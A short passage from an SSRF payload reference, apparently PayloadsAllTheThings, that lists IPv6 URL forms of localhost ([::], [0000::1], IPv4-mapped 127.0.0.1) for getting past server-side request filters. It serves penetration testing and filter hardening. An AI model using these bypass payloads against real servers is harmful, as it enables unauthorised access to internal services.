* Using unspecified address in IPv6 `[::]` ```powershell http://[::]:80/ ``` * Using IPv6 loopback addres`[0000::1]` ```powershell http://[0000::1]:80/ ``` * Using [IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm) ```powershell http://[0:0:0:0:0:ffff:127.0.0.1] http://[::ffff:127.0.0.1] ```
Source: Server Side Request Forgery/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.